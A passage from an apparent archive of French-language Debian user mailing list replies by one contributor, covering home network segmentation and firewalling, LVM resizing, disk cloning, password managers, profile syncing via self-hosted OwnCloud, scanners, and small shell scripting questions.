travail). Ce ne serait encore pas trop grave s'il ne s'arrêtait pas au
milieu du chemin, tuant X mais surtout pas les terminaux de contrôles
dépendants de X :


amitiés,

--

Erwann

Re: Apprendre à sécuriser un réseau domestique

[Erwann Le Bras]

un portable  ou un téléphone en wifi devra obligatoirement passer par 
le VPN pour accéder à une ressource interne

ça veut dire que t'as pas de TV ou Hifi connectée en filaire ?

f.




bonjour

Si, la TV est connectée en filaire au serveur multimédia (Universal 
Media Server) du serveur qui n'écoute que sur l'interface interne.



amitiés,

--

Erwann

Re: Apprendre à sécuriser un réseau domestique

[Erwann Le Bras]

Le 18/08/22 à 12:22, Fab  a écrit :

domestique, n’est pas vulnérable à des attaques de l’intérieur, il n’y a
personne de malveillant à l’intérieur. Donc cet aspect de la sécurité
des réseaux d’entreprise ne me concerne pas.

* Sauf si tu files ton accès wifi au copain qui vient chez toi ou aux
copains de tes enfants.
* Sauf si tu as des devices connectés chez toi que tu ne connais pas :
(Chaine Hi-Hi, TV, Thermomix (si si), tablette et smartphone, domotique
, etc... )

J'insiste aussi là-dessus, on peut être un peu plus laxiste sur la façon dont 
les machines
internes peuvent se connecter entre elles, mais on doit les considérer 
potentiellement aussi
malveillantes que n'importe quelle machine externe.

Un PC ou téléphone vérolé qui se connecte au wifi, ça arrivera forcément un 
jour ou l'autre,
sans parler des montres / frigos / caméras / chaudières / imprimantes / 
n'importe quel autre
truc connecté et jamais mis à jour.


bonjour

dans cette optique, le réseau wifi chez moi est considéré conne externe. 
Mon réseau filaire est interne.


j'ai une machine branchée sur la box et un second port réseau sur le hub 
qui dessert la maison et un firewall (iptables). Je reconnais que je ne 
filtre pas le sortant, que l'entrant, et ce n'est pas bien.


un portable  ou un téléphone en wifi devra obligatoirement passer par le 
VPN pour accéder à une ressource interne



amitiés,

--

Erwann

Re: Resize partitions ext4 /LVM

[Erwann Le Bras]

bonjour

Booter avec gparted (live-cd) pour bidouiller les partitions comme 
voulu. Ça marche très bien.


https://gparted.org/livecd.php


Erwann



bonjour a tous,
j ai reinstalle 1 ancien PC excellent (t450s) sur 1 base de debian  
avec  1 install en LVM  chiffre...
Malheureusement l'installateur choisit une heuristique pas terrible 
pour le sizing des partitions (peu pour /  et swap et tout le reste 
pour /home)

en consequence pas d hibernation possible...
J'ai regarde la procedure de resize LVM elle a l'air simple mais avant 
de tout casser ma jolie install je voulais savoir si il  n'y avait pas 
de ruses ou de pieges?
De ce que j'ai cru lire je dois demonter mes  partoches, jongler avec 
resize2fs et autres outils  LVM et cela doit etre gagne...


La situation initiale:
❯❯❯ sudo pvs                                main
  PV                     VG           Fmt  Attr PSize    PFree
  /dev/mapper/sda5_crypt dwmdevtop-vg lvm2 a--  <476.45g  0

❯❯❯ sudo vgs                                main
  VG           #PV #LV #SN Attr   VSize    VFree
  dwmdevtop-vg   1   5   0 wz--n- <476.45g    0

deadbrain@dwmdevtop ~/IdeaProjects/SimpleKafkstreamDemo
❯❯❯ sudo lvs                            main
  LV     VG           Attr       LSize    Pool Origin Data%  Meta% 
 Move Log Cpy%Sync Convert

  home   dwmdevtop-vg -wi-ao <441.04g
  root   dwmdevtop-vg -wi-ao   23.28g
  swap_1 dwmdevtop-vg -wi-ao  976.00m
  tmp    dwmdevtop-vg -wi-ao   <1.86g
  var    dwmdevtop-vg -wi-ao    9.31g


Il me faudrait un swap d'environ 30Go pour 20Go de RAM non? et reduire 
donc d autant le root (en commencant par la bien sur)



Avez vous des retours specifiques?

Par avance merci
Cordialement
Jerome


amitiés,

--

Erwann

Re: Re : Re: Comment masquer les informations sur le matériel données par le navigateur ?

[Erwann Le Bras]

bonjour

J'utilise Freetube (freetube.io) pour les vidéos. Il offre un habillage 
sympa à indivius



youtube --> invidious 


amitiés,

--

Erwann

Re: Re : Re: [Résolu] Déplacer une debian sur un disque plus petit avec clonezilla

[Erwann Le Bras]

Verifier que les UUID n'aient pas changé à la copie.

Vérifier les drapeaux des disques (boot)


Erwann


Je l'ai en effet, fait en deux étapes, d’abord une image du disque non 
modifié, puis une autre des partitions réduites.

Ca a fonctionné sauf pour la partition EFI. Le disque cible ne boot plus.

Comment recrée partition EFI ?
Il faudra aussi réécrire un nouvel fstab avec de nouveau UUID je 
suppose que si on change la table de partition les UUID, ne sont plus 
les même ?


Envoyé avec la messagerie sécurisée Proton Mail .

--- Original Message ---
Le mardi 12 juillet 2022 à 11:37, Dethegeek  a 
écrit :



Bonjour

L'idée de réduire les partitions est bonne, mais c'est une opération 
à risque. Un backup est chaudement recommandé avant de réduire les 
partitions !


Le mar. 12 juil. 2022 à 01:06, benoit  a écrit :






Envoyé avec la messagerie sécurisée Proton Mail.

--- Original Message ---
Le lundi 11 juillet 2022 à 22:49, benoit
 a écrit :


>
>
>
>
> --- Original Message ---
> Le lundi 11 juillet 2022 à 21:43, Th.A.C rai...@free.fr a écrit :
>
> > Bonjour,
> >
> > malheureusement non, c'est marqué dans la FAQ:
> >

https://drbl.org/fine-print.php?path=./faq/2_System/25_restore_larger_disk_to_smaller_one.faq#25_restore_larger_disk_to_smaller_one.faq
> >
> > Clonezilla ne travaille pas au niveau du fichier mais des
blocs utilisés
> > (ou pas)
> >
> > Sinon, tu peux essayer de retailler les partitions du disque
d'origine
> > pour que ça rentre dans le nouveau disque.
>
>
> Ah ben oui, c'est une bonne idée ça !
>
> Bon je met comme résolu, j'aurais du y penser... ;-)
>
> Merci !
>
> --
> Benoit




amitiés,

--

Erwann

Re: Choix d'un gestionnaire de mots de passe

[Erwann Le Bras]

bon bin keepassXC définitivement adopté car effectivement fonctionne 
bien mieux que Keepass...

en plus tout est dans les dépôts...


Le 30/05/2022 à 16:53, Erwann Le Bras a écrit :

bonjour

J'utilise keepass car multiplate-forme et accessible de partout grâce 
à mon serveur ownCloud.


l'App pour Android est une tuerie ; je rame un peu sous Linux pour 
l'autocompletion des mots de passe sous Firefox avec keepasshttp.


J'ai eu les memes soucis, qui ont été résolus en passant a keepassXC.

je testerai donc keepassXC au vu des retours que j'ai. La base reste 
compatible avec Keepass?


Oui, par contre les extensions ne sont pas les memes. Il faut prendre 
KeePassXC-Browser pour firefox et keepassxc-mail pour thunderbird.

https://github.com/kkapsner/keepassxc-mail


amitiés,

--

Erwann

Re: Solution; enfin des icones avec Kolourpaint

[Erwann Le Bras]

bonjour

intéressé par la procédure ;)

pour publier : https://wiki.debian.org/fr/DebianWiki ?

Erwann

Le 23/05/2022 à 16:16, faut_voir a écrit :


Bonjour,


Contributeur occasionnel sur doc.ubuntu-fr.org où il suffit juste de 
cliquer sur modifier et d'apporter sa pierre à l'édifice, mais 
utilisateur principal de Debian depuis 2 ans, Bullseye Openbox LXDE, 
je n'ai pas encore trouvé comment partager simplement mes retours 
d'expériences sur les questions en suspends d'utilisateur.


Depuis bullseye, lors une installation par défaut , kolourpaint - n'a 
plus d'icônes dans la partie gauche d'outils mais que du texte et ce 
n'est pas une question de sélection.


Comme j'ai fini par trouver comment y remédier, voici la solution ==>

Installer breeze-icon-theme

et le tour est joué, les icones sont de retour.

Merci de publier car cela rendra service à bon nombre d'utilisateur 
qui avait l'habitude d'utiliser ce logiciel super léger, simple, 
intuitif et fonctionnel pour déjà beaucoup d'actions sur une image.


Je profite de cette action pour demander ce qui suit :

Après moults expérimentations, j'ai construit avec le temps un fil 
rouge pour les utilisateurs avancés familiers du terminal (ne pas 
confondre avec chevronnés) qui veulent faire une installation de 
Debian, usage bureautique, ultra légère, stable et sécurisé sur le 
plan de l'architecture des données.


En suivant mon protocole, Les versions occupent sur le disque entre 
3,8Go et 5,3Go et après démarrage au repos consomme entre 140Mo et 
290Mo de RAM.


Comme j'installe régulièrement autour de moi cela sur des machines 
pour des novices, je peux donc maintenant partager ma démarche afin 
que celles et ceux qui veulent sauter le pas depuis Windows ou Mac, ou 
bien veulent remettre en service un ancien pc (portable ou non; 
dernière installation PC portable intel centrino de 12/2003 en 32 bits 
avec 2Go de RAM) puissent le faire.


5,3Go comprend tout ce qu'il faut pour l'internet, la messagerie mail, 
de l'audio, photo, video en usage et en retouche, de la programmation 
ponctuelle et tout ce qui va bien pour scanner et imprimer.


En vous remerciant par avance pour votre ou vos retours et pour la 
communauté, je reste à votre écoute.


Bien à vous.

FM

--
NB la pièce jointe de ce message "OpenPGPasc" correspond à sa signature 
numérique. Elle valide que le message est identique à l'original.
Inutile de l'ouvrir car elle ne contient pas d'information compréhensible.
Toutes les autres pièces jointes quand il y en a OUI.

Re: Choix d'un gestionnaire de mots de passe

[Erwann Le Bras]

bonjour

J'utilise keepass car multiplate-forme et accessible de partout grâce à 
mon serveur ownCloud.


l'App pour Android est une tuerie ; je rame un peu sous Linux pour 
l'autocompletion des mots de passe sous Firefox avec keepasshttp.


je testerai donc keepassXC au vu des retours que j'ai. La base reste 
compatible avec Keepass?



Pour avoir testé
 :

 * PasswordSafe reste très basique et j'ai cru comprendre très Windows
   mais c'est celui que j'utilise au bureau (préconisation historique
   employeur)
 * MS Vault est trop compliqué ou pas compris son mode de fonctionnement



Keepass c'est un gestionnaire de mot de passe, pas en encrypteur de fichier.
Pour ça tu peux regarder du côté de veracrypt qui te permets sous 
Windows et Linux de créer un conteneur transparent pour le système hôte  
dans lequel du peux y mettre tes fichiers.

C'est entièrement utilisable en ligne de commande.
Je l'utilise pour stocker mes fichiers persos au bureau (Windows) pour 
ne pas les laisser traîner sur le PC. A la maison, je  branche la clé 
sur ma Debian et lance un .sh qui me l'ouvre et me sauvegarde le 
contenu. Seul le mot de passe est indiqué à la main.

Ya un paquet pour Debian chez l'éditeur.

Erwann

Bonjour la liste,

Quel est votre gestionnaire de mot de passe préféré et pourquoi ?

Je suis en train de tester keepass qui semble pas mal foutu,
néanmoins, une interface uniquement en ligne de commande ne serait pas
pour me déplaire.

J'ai aussi envisagé de chiffrer tout simplement un fichier
texte...l'idéal serait un outil en ligne de commande, avec quelques
fonctionnalités un peu sexy de haut niveau pour se faciliter la
manœuvre, je ne sais pas si ça existe ?

Merci pour vos retours !


amitiés,

--

Erwann

Re: install sur tablette

[Erwann Le Bras]

bonjour

Mon expérience sur le tactile reste l'utilisation d'une Debian stable 
sur un PC hybride tactile (Lenovo Yoga 300)


C'est une distribution installée depuis un autre PC sur un disque 
externe qui m'a servi à le booter, donc sans spécificités et outils 
tactiles.


Lightdm m'a proposé une navigation au doigt très proche de ce qui se 
fait sur une tablette.


Pas poussé l'expérience très loin (pas d'essai de clavier virtuel par 
exemple) car le clavier et la souris sont restés à portée, mais ça le fait.



Erwann



Appui long équivaudrait à Clic Droit?

(Je n'utilise d'écran tactile qu'avec des smartphones Android.)

Pour moi le tactile et le système clavier+souris ont chacun leurs
spécificités et je pense qu'il n'est pas forcément opportun (quand on
peut faire autrement, ce n'est pas forcément le cas) de chercher à
utiliser une interface tactile comme on utiliserait une interface de
saisie clavier+souris (un peu comme vouloir conserver le même mode de
fonctionnement en GUI qu'on applique en CLI)

Je connais donc mal la problématique tactile sous Linux mais de ma
fenêtre j'ai l'impression qu'encore aujourd'hui, à part peut-être
Plasma Mobile (et en plus vieux et moins sophistiqué Matchbox ou
Sugar), Gnome, dans son fonctionnement principal c'est-à-dire ni
"Classic" ni "Flashback", est l'environnement à privilégier car pensé
pour du tactile, probablement autant au niveau de l'intefface générale
du DE que de la majorité de ses applis. Et donc choisir (lorsque
possible) des applis prévues pour le tactile

Sous Android, je me suis rendu compte (ouais, je suis une bille, m'a
fallu un moment pour m'en apercevoir) qu'un appui long du doigt sur une
zone faisait apparaître un menu contextuel. Il y a quelques astuces
ici:
https://cours-informatique-gratuit.fr/cours/gestuelle-tactile-android/



amitiés,

--

Erwann

Re: install sur tablette

[Erwann Le Bras]

bonjour

Mon expérience sur le tactile reste l'utilisation d'une Debian stable 
sur un PC hybride tactile (Lenovo Yoga 300)


C'est une distribution installée depuis un autre PC sur un disque 
externe qui m'a servi à le booter, donc sans spécificités et outils 
tactiles.


Lightdm m'a proposé une navigation au doigt très proche de ce qui se 
fait sur une tablette.


Pas poussé l'expérience très loin (pas d'essai de clavier virtuel par 
exemple) car le clavier et la souris sont restés à portée, mais ça le fait.



Erwann



Appui long équivaudrait à Clic Droit?

(Je n'utilise d'écran tactile qu'avec des smartphones Android.)

Pour moi le tactile et le système clavier+souris ont chacun leurs
spécificités et je pense qu'il n'est pas forcément opportun (quand on
peut faire autrement, ce n'est pas forcément le cas) de chercher à
utiliser une interface tactile comme on utiliserait une interface de
saisie clavier+souris (un peu comme vouloir conserver le même mode de
fonctionnement en GUI qu'on applique en CLI)

Je connais donc mal la problématique tactile sous Linux mais de ma
fenêtre j'ai l'impression qu'encore aujourd'hui, à part peut-être
Plasma Mobile (et en plus vieux et moins sophistiqué Matchbox ou
Sugar), Gnome, dans son fonctionnement principal c'est-à-dire ni
"Classic" ni "Flashback", est l'environnement à privilégier car pensé
pour du tactile, probablement autant au niveau de l'intefface générale
du DE que de la majorité de ses applis. Et donc choisir (lorsque
possible) des applis prévues pour le tactile

Sous Android, je me suis rendu compte (ouais, je suis une bille, m'a
fallu un moment pour m'en apercevoir) qu'un appui long du doigt sur une
zone faisait apparaître un menu contextuel. Il y a quelques astuces
ici:
https://cours-informatique-gratuit.fr/cours/gestuelle-tactile-android/



amitiés,

--

Erwann

Re: [HS] Android pour la bureautique

[Erwann Le Bras]

oui, ça me semble très bien : tous les avantages d'un vrai PC allié à la 
praticité d'une tablette.


ultraportable tactile,




Sinon partir sur des ultra portables ça peut être aussi compact que 
tablette.


amitiés,

--

Erwann

Re: Synchroniser deux profils debian

[Erwann Le Bras]

bonjour

En situation identique, je synchronise les profils via un cloud privé 
(OwnCloud autohébergé)


tous mes fichiers sont dans $HOME/ownCloud (par exemple 
$HOME/ownCloud/Documents), ce qui laisse la config (.config) en local. 
Je force parfois la synchronisation de config particulières en /liant/ 
depuis le cloud (Thunderbird, Firefox...) car mes machines sont 
hétéroclites.


avantages :

 * c'est transparent (pas de process à programmer, à lancer), sûr (le
   cloud fait sauvegarde... à sauvegarder) : un fichier est modifié, il
   est copié sur le cloud, c'est tout
 * ne nécessite pas un média (DD externe) pour faire la liaison (rsync).
 * s'affranchit facilement de liaisons Internet intermittentes (le
   portable pas branché sur Internet)

inconvénients :

 * avoir accès à un cloud ou pouvoir en installer/administrer un, et un
   port https disponible. Pour rsyncd/Unison, il faut un accès ssh à un
   serveur
 * laisser la synchronisation initiale (au démarrage de la session) se
   terminer avant de commencer à ouvrir des applis partout sous peine
   d'avoir à gérer des conflits


J'utilise cette solutions depuis plusieurs années pour synchroniser mon 
profil sur plusieurs machines hétéroclites (2 Debian, 1 Windows, 2 
Android et une clé USB) et j'en suis satisfait.
Elle permet à chaque machine d'être indépendants et un accès universel à 
mes fichiers (il suffit d'un client Cloud)




Bonjour à tous,

J'ai deux débian au boulot, un poste fixe et un portable.

Je souhaiterai synchroniser mon profil user de mon portable sur le pc 
fixe.


Les deux debians sont identiques (j'ai fait un clone du disque du 
portable et restauré sur le PC)


Avez-vous une astuces pour que mon profil sur le portable se 
synchronise sur le PC ?



amitiés,

--

Erwann

Re: Synchroniser deux profils debian

[Erwann Le Bras]

bonjour

En situation identique, je synchronise les profils via un cloud privé 
(OwnCloud autohébergé)


tous mes fichiers sont dans $HOME/ownCloud (par exemple 
$HOME/ownCloud/Documents), ce qui laisse la config (.config) en local. 
Je force parfois la synchronisation de config particulières en /liant/ 
depuis le cloud (Thunderbird, Firefox...) car mes machines sont 
hétéroclites.


avantages :

 * c'est transparent (pas de process à programmer, à lancer), sûr (le
   cloud fait sauvegarde... à sauvegarder) : un fichier est modifié, il
   est copié sur le cloud, c'est tout
 * ne nécessite pas un média (DD externe) pour faire la liaison (rsync).
 * s'affranchit facilement de liaisons Internet intermittentes (le
   portable pas branché sur Internet)

inconvénients :

 * avoir accès à un cloud ou pouvoir en installer/administrer un, et un
   port https disponible. Pour rsyncd/Unison, il faut un accès ssh à un
   serveur
 * laisser la synchronisation initiale (au démarrage de la session) se
   terminer avant de commencer à ouvrir des applis partout sous peine
   d'avoir à gérer des conflits


J'utilise cette solutions depuis plusieurs années pour synchroniser mon 
profil sur plusieurs machines hétéroclites (2 Debian, 1 Windows, 2 
Android et une clé USB) et j'en suis satisfait.
Elle permet à chaque machine d'être indépendants et un accès universel à 
mes fichiers (il suffit d'un client Cloud)




Bonjour à tous,

J'ai deux débian au boulot, un poste fixe et un portable.

Je souhaiterai synchroniser mon profil user de mon portable sur le pc 
fixe.


Les deux debians sont identiques (j'ai fait un clone du disque du 
portable et restauré sur le PC)


Avez-vous une astuces pour que mon profil sur le portable se 
synchronise sur le PC ?



amitiés,

--

Erwann

Re: Installer un scanner Canon MX320 sous Buster

[Erwann Le Bras]

bonjour

j'ai un Canon MG6350 piloté par un Debian stable.

Pas essayé en ligne de commande, mais

 * Xsane (réseau) fonctionne très bien.

 * pour l'USB, le numériseur de documents fonctionne très bien

Erwann





Bonjour,

J'ai une vieille multi-fonction Canon MX320 dotée d'une interface USB.
Je souhaite, dans un premier temps, l'utiliser comme scanner en ligne
de commande sur une machine sous Buster (les fonctions d'impression ne
m'intéressent pas).

Elle est correctement détectée :
# scanimage -L
device `pixma:04A91736_154338' is a CANON Canon PIXMA MX320
multi-function peripheral

Par contre :
# scanimage -d "pixma:04A91736_154338" > /tmp/foo.bar
scanimage: sane_read: Error during device I/O
ou
$scanimage -d "pixma:04A91736_154338" > /tmp/toto
scanimage: sane_read: Error during device I/O

Dans mes logs je vois aussi quand j'allume le scanner:
systemd-udevd[11797]: Process '/bin/setfacl -m g:scanner:rw ' failed
with exit code 2.

1. Quelqu'un a-t-il utilisé avec succès la fonction scanner sous
Buster/x86_64 avec une machine Canon Pixma quelconque ? et sous
Bullseye ?

2. Un conseil ?

Slts


amitiés,

--

Erwann

Re: Images : Unsupported marker type 0x26

[Erwann Le Bras]

bonsoir

pour voir si ça vient de l'image ou du visualiseur, avez-vous essayé de 
les voir depuis un autre système ou autre machine?


Erwann



On Sunday 09 January 2022 19:06:19 didier gaumet wrote:

Le dimanche 09 janvier 2022 à 16:23 +0100, ajh-valmer a écrit :

lorsque je désire ouvrir une image, quelquesoit son format et
l'éditeur,je reçois ce message :
"Erreur d’interprétation du fichier d’image JPEG (Unsupported marker
type 0x26)".
Je suis sous Buster. J'ai vainement cherché sur moteurs de recherches,
je crains que mes images soient foutues...

Hello, merci.


- ça te fait ça sur toutes tes images?

OUI, jpg, jpeg, png, gif...


- ça te fait ça uniquement quand tu essaies d'éditer une image ou aussi
quand tu cherches simplement à l'afficher?

OUI, les 2.


Une recherche internet semble indiquer que les cas les plus courants
dans lesquels ce message apparaît sont:
1) extension qui ne correspond pas au type de fichier
2) double extension (exemple toto.jpg.pdf)
  renommer une-à-une ou par lot
3) image corrompue
  Un mode d'emploi pas-à-pas sur le site de l'éditeur:
https://www.cgsecurity.org/wiki/PhotoRec_Etape_par_Etape

Oui, photorec parait délicat.
Je n'ai rien fait de particulier sur mes images et photos.
Certaines, peu nombreuses, fonctionnent normalement,
ce sont surtout des photos issues d'un appareil numérique.

Au delà de la cata, je ne comprends pas  pourquoi elles ne
s'affichent plus avec ce message inquiétant...
(marqueur insupporté)
D'après des sites, ce serait un bug dû à une librairie manquante.
(sans doute après un apt upgrade) et comment y remédier ?

Bonne fin de soirée.

A. Valmer


amitiés,

--

Erwann

Re: pan1 ?

[Erwann Le Bras]

bonjour

Didier a raison ;), j'ai eu ça en associant un téléphone. Un service de 
partage de connexion crée et active un "pan1"


j'ai résolu mon pb en supprimant -ou désactivant- le service en question 
dans les paramètres bluetooth du périphérique concerné.


Le 23/12/2021 à 09:32, didier gaumet a écrit :

Il est possible que le sagouin, ce soit toi ;-)

Je suis une bille complète en réseaux mais le nom d'interface pan1
pourrait (au conditionnel) suggérer qu'il s'agit d'une topologie PAN
(https://en.wikipedia.org/wiki/Personal_area_network) et qu'il s'agit
d'un gadget ("wearable" ou smartphone, peut-être même clavier, va
savoir...) établissant une connexion par bluetooth de préférence, mais
possiblement aussi en wifi ou USB.

Sous toutes réserves vu mon époustouflante maîtrise du domaine, hein
;-)



amitiés,

--

Erwann

Re: recherche sur le web par ligne de commande ?

[Erwann Le Bras]

bonjour

Si j'ai bien compris, tu veux récupérer les images d'un site web?
Plusieurs cas : 
-> wget -spider  qui permet de tout récupérer et faire le tri sur ce qui 
est intéressant.
-> faire un script qui récupérer la page d'accueil et la parcourt à la 
recherche des balises intéressantes pour y récupérer le contenu.

amitiés

Erwann

Le Tue, 14 Dec 2021 07:26:45 -0800 (PST)
ptilou  a écrit :

> bonsoir,
> 
> je veux savoir si lynx peut permettre l’automatisation de recherche ?
> je cherche des plans de pièces d’hélicoptère, tél le plateau cyclique, et 
> donc je veux orienter ma recherche sur patent, et faire un wget -m quand il y 
> a un dessin, une image.
> 
> avez vous connaissance de recherche, veille sur ce type de fichiers ?
> 
> merci
> 
> — 
> ptilou
> 


-- 
amiti_s,

-- 

Erwann

Re: pan1 ?

[Erwann Le Bras]

bonjour

Didier a raison ;), j'ai eu ça en associant un téléphone. Un service de 
partage de connexion crée et active un "pan1"


j'ai résolu mon pb en supprimant -ou désactivant- le service en question 
dans les paramètres bluetooth du périphérique concerné.


Le 23/12/2021 à 09:32, didier gaumet a écrit :

Il est possible que le sagouin, ce soit toi ;-)

Je suis une bille complète en réseaux mais le nom d'interface pan1
pourrait (au conditionnel) suggérer qu'il s'agit d'une topologie PAN
(https://en.wikipedia.org/wiki/Personal_area_network) et qu'il s'agit
d'un gadget ("wearable" ou smartphone, peut-être même clavier, va
savoir...) établissant une connexion par bluetooth de préférence, mais
possiblement aussi en wifi ou USB.

Sous toutes réserves vu mon époustouflante maîtrise du domaine, hein
;-)



amitiés,

--

Erwann

Re: Serveur web et de fichier sur la même machine

[Erwann Le Bras]

Bonjour

J'ai un petit serveur chez moi qui sert de serveur web, cloud et héberge 
les fichiers de la famille. Il est sous Debian stable et protégé par un 
petit onduleur qui l'éteint proprement en cas de coupure électrique.


Il s'agit d'un petit PC bureautique silencieux dédié avec 2 cartes 
réseaux filaires (une interne, une externe).


 * la carte externe est relié à la Freebox, sur laquelle une DMZ a été
   déclarée. C'est la seule machine vue de la Freebox et ayant un accès
   direct à Internet
 * la carte interne est reliée à un Hub où sont connectés toutes les
   machines familiales. L'idéal est d'en avoir un qui fasse wifi pour
   s'affranchir du wifi  Free.

comme ça j'expose les services d'un côté ou de l'autre au choix. Un 
firewall (iptables) gère les flux, et fail2ban se charge des pénibles.


En particulier, j'ai un site web public visible de l'extérieur et un 
cloud privé (OwnCloud). les partages NFS et SMB ne sont visibles qu'en 
interne.


bien sûr la sécurité (intrusion et sauvegarde) doivent être 
soigneusement suivis. Par confort, la fibre optique est requis, les 
performances "upload" en ADSL souvent mauvaises.


Erwann


Le 12/11/2021 à 10:41, benoit a écrit :


Bonjour à tout·e·s

J’envisage d’installer un serveur web chez moi pour faire de 
l’auto-hébergement.


Tant qu’à faire pour économiser de l’électricité, je voudrais qu’il 
fasse serveur de fichier.


Est-ce une idée absurde au niveau sécurité de stocker mes fichiers 
privés(local) sur la même machine qu’un serveur web(publique) ou bien 
y a‑t‑il moyen de sécuriser ça ?


--
Benoit

Ps.

Je n’y connais rien en sécurité en réseau.


Sent with ProtonMail  Secure Email.

Re: Bug de newbie sur script ?

[Erwann Le Bras]

bonsoir

je ne comprends pas ta demande :(

le "output_%0d.png" est je pense erroné ; ne veux-tu pas dire 
"output_$f.png"


ou en enlevant le .AVI du fichier : "output_$(basename $f .AVI).png"

cordialement

Le 10/10/2021 à 08:29, ptilou a écrit :

Slt,

Mon script :
for f in *.AVI /

do ./ffmpeg -i "$f" -r 25 output_%0d.png

done

Et donc je voudrais au lieu de output avoir le résultat de $f et donc c’est 
quoi la grammaire conjugaison ?

Le but est que chaque fichier fait repartir le fichier à 1 et donc ecrase le 
précédent, mais pour une bonne gestion en posant ma question je pense qu’il 
faut mettre le nom du fichier original, quelqu’un fait autrement, le but après 
et de les faire passer dans des scripts de processing, pour l’in Je n’ai que 
des saturations de couleurs !

Merci

—
Ptilou


amitiés,

--

Erwann

Re: sources.list pour Debian Testing x86-64 en region parisienne

[Erwann Le Bras]

bonjour

pas chez moi (FFOX 78.13.0esr). Le site est accessible.

Le 04/09/2021 à 09:29, rok a écrit :

bonjour,

http://refpersys.org/

est une connexion non sécurisées et est bloquée par firefox;



amitiés,

--

Erwann

Fwd: Hors sujet

[Erwann Le Bras]

PI, reçu en privé



 Message transféré 
Sujet : Re: Hors sujet
Date :  Wed, 11 Aug 2021 12:00:30 +0200
De :Dethegeek 
Pour :  Erwann Le Bras 



Bonjour

Il y a une question de ce type sur superuser.com <http://superuser.com>. 
elle date de 2015, mais windows ne changeant plus trop son arborescence 
de dossiers utilisateur depuis Windows 7, ça devrait rester une réponse 
relativement valable.


https://superuser.com/questions/879250/where-does-claws-mail-save-the-mails-and-settings 
<https://superuser.com/questions/879250/where-does-claws-mail-save-the-mails-and-settings>


Le mer. 11 août 2021 à 11:51, Erwann Le Bras <mailto:erwann.le-b...@laposte.net>> a écrit :


   bonjour

   Dans l'explorateur, assurez-vous d'afficher les éléments masqués et
   les extensions des noms de fichiers (menu "Affichage" et naviguez
   vers C:\utilisateurs\\

   ya peut-être un répertoire  .claws-mail directement ici, ou voir
   dans un sous-répertoire AppData\Local ou Appdata\Low ou
   Appdata\Roaming ?


   Le 10/08/2021 à 21:16, Georges a écrit :

Bonjour,

  J'utilise Debian depuis woody mais mon épouse à besoin d'un portable
  avec windows 10.
  Nous utilisions Claws-mail et je l'ai installé sur son W10.
  Mais je suis incapable de trouver ou W10 enregistre les courriers pour
  lui copier ses anciens dossiers de Debian.
  Si une âme charitable à eu le même problème (avec son épouse et W10 )
  je lui serais éternellement reconnaissant. Un grand merci d'avance ;-)


Georges


   amitiés,

amitiés,

--

Erwann

Re: Hors sujet

[Erwann Le Bras]

bonjour

Dans l'explorateur, assurez-vous d'afficher les éléments masqués et les 
extensions des noms de fichiers (menu "Affichage" et naviguez vers 
C:\utilisateurs\\


ya peut-être un répertoire  .claws-mail directement ici, ou voir dans un 
sous-répertoire AppData\Local ou Appdata\Low ou Appdata\Roaming ?



Le 10/08/2021 à 21:16, Georges a écrit :

Bonjour,

  J'utilise Debian depuis woody mais mon épouse à besoin d'un portable
  avec windows 10.
  Nous utilisions Claws-mail et je l'ai installé sur son W10.
  Mais je suis incapable de trouver ou W10 enregistre les courriers pour
  lui copier ses anciens dossiers de Debian.
  Si une âme charitable à eu le même problème (avec son épouse et W10 )
  je lui serais éternellement reconnaissant. Un grand merci d'avance ;-)


Georges


amitiés,

--

Erwann

Re: GPS, logiciels libres et Debian

[Erwann Le Bras]

bonsoir

Personnellement j'utilise Navit ; il est très bien pour la route mais 
n'est pas adapté pour la mer.


Il fonctionne sous Android et Debian.

Il est totalement autonome (pas besoin de connexion, sauf pour 
télécharger les cartes. C'est pas le plus sexy mais fait le job, sans 
être suivi à la trace.


https://www.navit-project.org/

amitiés

Erwann

Le 09/07/2021 à 12:29, kaliderus a écrit :

Bonjour,

J'envisage l'achat d'un GPS (voiture/moto/bateau donc étanche).
Avez-vous des recommandations, tuyaux, marques à conseiller ou éviter,
et qui idéalement me permettraient de faire des mise à jour des cartes
sous Debian ?
Actuellement nous avons un Garmin qui commence à dater, et nous devons
passer par leur outil pour les mises à jour, un vieux pc M$ s'en
charge, jusqu'au jour où l'outil ne sera plus maintenu ...
La cartographie devrait contenir l'Europe entière.

Merci pour votre attention.


amitiés,

--

Erwann

Re: Ben alors là ! Vla t'y pas qu'on peut acheter du matos sans OS chez Lenovo !

[Erwann Le Bras]

Le 28/04/2021 à 08:49, BERTRAND Joël a écrit :

[...] Lorsque j'ai essayé
Dell, plus de 50% du parc est passé en SAV sous garantie pour des
problèmes de cartes-mères, de batteries et de chargeurs et de cartes
mémoire pas compatibles mais presque... La joie de la qualité à pas
cher. Quant à mon essai Acer (pas cher et jetable pour des gens qui ne
prenaient pas soin de leur matériel), mieux vaut ne pas en parler.
C'était vraiment du jetable !


bonsoir

Ca dépend des gammes : je suis actuellement sur un Dell (Inspiron 1525) 
qui doit dater de 2007 ou 2008 et tourne impec sous Debian x64 Stable 
sans souci majeur. Ya encore l'étiquette "Vista" dessus



amitiés,

--

Erwann

Re: Grub et boot plus que bizarres

[Erwann Le Bras]

On 20/04/2021 11:12, ajh.val...@free.fr wrote:

Bonjour,

J'ai un serveur distant, qui fonctionne sur la partition SDA1
Il a une sauvegarde sur SDA2.

Depuis peu, via GRUB, je ne peux plus le rebooter correctement sur sda1,
ni sda2.

sda1 : bien des services ne fonctionnent plus, dont SSH et Apache...

sda2 : il boot en initramfs, voire produit un kernel panic.


bonjour

Commence par remettre tes services fonctionnels sur sda1.

Comment se fait la sauvegarde sur sda2?

Comment cette sauvegarde est adaptée pour démarrer correctement?

amitiés,
--

Erwann

Re: [HS] Coffre fort numérique pour documents

[Erwann Le Bras]

ah, un cloud auto-hébergé alors.

Debian+Nextcloud ou owncloud ou équivalent.

Prévoir une bonne sauvegarde

c'est ce que j'ai, j'en suis très content.

Le 09/04/2021 à 09:59, David Martin a écrit :
Merci François Marie, c'était plus pour y stocker mes documents et 
qu'ils soit accessible de partout,

afin d'éviter les Drives google et autres.



Le jeu. 8 avr. 2021 à 16:45, Billard François-Marie 
> a écrit :


Bonsoir,

https://bitwarden.com/ 

semble être pour la gestion des mots de passes et ne permet pas de
stocker des documents.

François-Marie BILLARD

Le 08/04/2021 à 13:08, Sébastien Dinot a écrit :
> Bonjour,
>
> David Martin a écrit :
>> L'un de vous utilise un coffre fort numérique chez un hébergeur, si
>> oui que conseillez vous ?
> [ réponse un poil hors sujet, mais ce questionnement m'interpelle ]
>
